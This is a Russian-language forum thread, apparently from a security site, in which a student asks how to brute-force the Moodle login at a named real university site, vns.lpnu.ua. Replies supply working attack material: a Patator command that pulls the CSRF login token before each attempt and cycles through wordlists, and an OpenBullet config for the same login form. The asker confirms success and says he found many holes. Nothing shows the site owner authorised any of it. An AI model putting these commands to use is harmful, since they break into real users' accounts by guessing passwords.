• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Создание POST запроса на сервер для брута HTTP запросов

Andrey Methew

Member
17.08.2020
14
0
BIT
0
Пробовал разными способами и по всякому, через HYDRA тепер через patator пробывал. Всегда одна проблема, ответы на все запросы положительные или все отрицательные хоть в файлах находиться заведомо робочий логин и пароль. Сайт определьоно использует redirect, но с добавлением следования любому редиректу ничего не меняеться. Какой мне запрос отправить чтоб все заработало? Помогите так как єто часть курсовой работы, прошу!

Все данные взятые из Burp Suite
Сам запрос отправления:
Код:
POST /login/index.php HTTP/1.1

Host: vns.lpnu.ua
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://vns.lpnu.ua
Connection: close
Referer: http://vns.lpnu.ua/login/index.php
Cookie: _ga=GA1.2.1059295513.1605731993; _gid=GA1.2.2021700960.1605731993; MoodleSession=8hu13dbbd2nnusqss947sa4abu; _gat_gtag_UA_73451727_1=1; _gat_gtag_UA_113782330_1=1; _gat_gtag_UA_123656552_1=1
Upgrade-Insecure-Requests: 1
anchor=&logintoken=8WNzAopDuASJoZhtjjQXqDRgIAv435QF&username=my_name&password=234243243


Ответ:

HTML:
HTTP/1.1 303 See Other
Date: Thu, 19 Nov 2020 14:24:23 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1c
X-Powered-By: PHP/7.4.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Language: en
Location: http://vns.lpnu.ua/login/index.php
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 432

<!DOCTYPE html>
<html  lang="en" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Redirect</title>
</head>
    <body>
        <div style="margin-top: 3em; margin-left:auto; margin-right:auto; text-align:center;">
            This page should automatically redirect. If nothing is happening please use the continue link below.<br />
            <a href="http://vns.lpnu.ua/login/index.php">Continue</a>
        </div>
    </body>
</html>


Моя команда отправкизапроса через patator:

./patator.py http_fuzz url="vns.lpnu.ua /login/ index.php" method=POST body='anchor=&logintoken=&username=FILE0&password=FILE1' 0=/home/kali/log.txt 1=/home/kali/pass.txt before_urls="vns.lpnu.ua /login/ index.php" accept_cookie=1 follow=1 -x ignore:fgrep='login'
 
Последнее редактирование:
Решение
Patator выше 0.6-й версии позволяет перед каждым запросом вытаскивать CSRF-token
Bash:
patator.py http_fuzz method=POST follow=1 accept_cookie=1  --threads=1  timeout=5 --max-retries=0 url="http://vns.lpnu.ua/login/index.php" body="anchor=&logintoken=_CSRF_&username=FILE0&password=FILE1" header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" 0=/opt/SecLists/Usernames/top-usernames-shortlist.txt 1=/opt/SecLists/Passwords/darkweb2017-top10.txt before_urls="http://vns.lpnu.ua/login/index.php" before_header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" before_egrep='_CSRF_:<input type="hidden" name="logintoken" value="(\w+)">' -x ignore:fgrep='Invalid login'

Andrey Methew

Member
17.08.2020
14
0
BIT
0
Не надо так :)
Попробуй -x ignore:fgrep='Invalid login' или -x ignore:code=303
Вот вывод:
Код:
./patator.py http_fuzz url="vns.lpnu.ua/login/index.php" method=POST body='anchor=&logintoken=&username=FILE0&password=FILE1' 0=/home/kali/log.txt 1=/home/kali/pass.txt before_urls="vns.lpnu.ua/login/index.php"  accept_cookie=1 follow=1 -x ignore:code=303
13:36:05 patator    INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.8.6 at 2020-11-19 13:36 EST
13:36:05 patator    INFO -                                                                          
13:36:05 patator    INFO - code size:clen       time | candidate                          |   num | mesg
13:36:05 patator    INFO - -----------------------------------------------------------------------------
13:36:05 patator    INFO - 200  36504:-1       0.206 | A.M.KB.2020:10.09.2000 |     1 | HTTP/1.1 200 OK
13:36:05 patator    INFO - 200  36504:-1       0.232 | A.M.KB.2020:15.09.2000 |     2 | HTTP/1.1 200 OK
13:36:05 patator    INFO - 200  36504:-1       0.206 | A.M.KB.2020:25.09.2000 |     3 | HTTP/1.1 200 OK
13:36:06 patator    INFO - Hits/Done/Skip/Fail/Size: 3/3/0/0/3, Avg: 2 r/s, Time: 0h 0m 1s

В нем есть logintoken= который меняется при каждом обновлении, только незнаю как обойти это.
К всему этому незнаю почему но, через Burp Suite я пробывал перехватить пакет, внести также логины, но результатов это не дало. Я решил вручную вписать в код заведомо правильный логин и пароль, проверял перед отправкой, после отправки - тот же редирект, и ошибка неверный пароль. Незнаю как но могут както куки и этот logintoken= быть связаны с информацией username и password
 
Последнее редактирование:

Pernat1y

Red Team
05.04.2018
1 443
134
BIT
0
В нем есть logintoken= который меняется при каждом обновлении, только незнаю как обойти это.
Токен каждый раз новый, т.е. это не хеш и не кукисы.
Потенциально CSRF токен. Попробуй почитать тут , тут и глянуть на Sanix-Darker/Brute-Force-Login
 

Andrey Methew

Member
17.08.2020
14
0
BIT
0
Токен каждый раз новый, т.е. это не хеш и не кукисы.
Потенциально CSRF токен. Попробуй почитать тут , тут и глянуть на Sanix-Darker/Brute-Force-Login
Спасибо большое, щас гляну

Скинь url, помогу )
vns.lpnu.ua/login/index.php
 

yky

Green Team
31.12.2019
100
41
BIT
1
Сначало парсится токен:
Код:
REQUEST GET "http://vns.lpnu.ua/"

  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
  HEADER "Pragma: no-cache"
  HEADER "Accept: */*"

#TOKEN PARSE "<SOURCE>" LR "name=\"logintoken\" value=\"" "\">" -> VAR ""

REQUEST POST "http://vns.lpnu.ua/login/index.php"
  CONTENT "anchor=&logintoken=<TOKEN>&username=test1%40test.ru&password=123456"
  CONTENTTYPE "application/x-www-form-urlencoded"
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
  HEADER "Pragma: no-cache"
  HEADER "Accept: */*"

KEYCHECK
  KEYCHAIN Failure OR
    KEY "Ви не пройшли ідентифікацію"

Это от openbullet ,так как у меня нету валидного логин:пасс более точно написать не могу )
Если есть рабочий логин:пасс напишу полностью
 
Последнее редактирование:

M0r7iF3r

Green Team
01.09.2020
89
2
BIT
170
Patator выше 0.6-й версии позволяет перед каждым запросом вытаскивать CSRF-token
Bash:
patator.py http_fuzz method=POST follow=1 accept_cookie=1  --threads=1  timeout=5 --max-retries=0 url="http://vns.lpnu.ua/login/index.php" body="anchor=&logintoken=_CSRF_&username=FILE0&password=FILE1" header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" 0=/opt/SecLists/Usernames/top-usernames-shortlist.txt 1=/opt/SecLists/Passwords/darkweb2017-top10.txt before_urls="http://vns.lpnu.ua/login/index.php" before_header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" before_egrep='_CSRF_:<input type="hidden" name="logintoken" value="(\w+)">' -x ignore:fgrep='Invalid login'
 
Решение

Andrey Methew

Member
17.08.2020
14
0
BIT
0
Patator выше 0.6-й версии позволяет перед каждым запросом вытаскивать CSRF-token
Bash:
patator.py http_fuzz method=POST follow=1 accept_cookie=1  --threads=1  timeout=5 --max-retries=0 url="http://vns.lpnu.ua/login/index.php" body="anchor=&logintoken=_CSRF_&username=FILE0&password=FILE1" header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" 0=/opt/SecLists/Usernames/top-usernames-shortlist.txt 1=/opt/SecLists/Passwords/darkweb2017-top10.txt before_urls="http://vns.lpnu.ua/login/index.php" before_header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" before_egrep='_CSRF_:<input type="hidden" name="logintoken" value="(\w+)">' -x ignore:fgrep='Invalid login'
Спасибо большое, не знал что так можно в документации не видел такого!
Сначало парсится токен:
Код:
REQUEST GET "http://vns.lpnu.ua/"

  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
  HEADER "Pragma: no-cache"
  HEADER "Accept: */*"

#TOKEN PARSE "<SOURCE>" LR "name=\"logintoken\" value=\"" "\">" -> VAR ""

REQUEST POST "http://vns.lpnu.ua/login/index.php"
  CONTENT "anchor=&logintoken=<TOKEN>&username=test1%40test.ru&password=123456"
  CONTENTTYPE "application/x-www-form-urlencoded"
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
  HEADER "Pragma: no-cache"
  HEADER "Accept: */*"

KEYCHECK
  KEYCHAIN Failure OR
    KEY "Ви не пройшли ідентифікацію"

Это от openbullet ,так как у меня нету валидного логин:пасс более точно написать не могу )
Если есть рабочий логин:пасс напишу полностью
Спасибо большое, разобрался в єтом всем.


Если интересно то вот результаты:
1605959885976.png


Изучив принцип работы нашел очень много дыр. Спасибо всем большое за помощ!

Спасибо M0r7iF3r
вот код:
Код:
./patator.py http_fuzz method=POST follow=1 accept_cookie=1  --threads=1  timeout=5 --max-retries=0 url="http://vns.lpnu.ua/login/index.php" body="anchor=&logintoken=_CSRF_&username=FILE0&password=FILE1" header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" 0=/home/kali/log.txt 1=/home/kali/passsep.txt before_urls="http://vns.lpnu.ua/login/index.php" before_header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" before_egrep='_CSRF_:<input type="hidden" name="logintoken" value="(\w+)">' -x ignore:fgrep='Invalid login'

Надеюсь это поможет другим писать подобные запросы!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!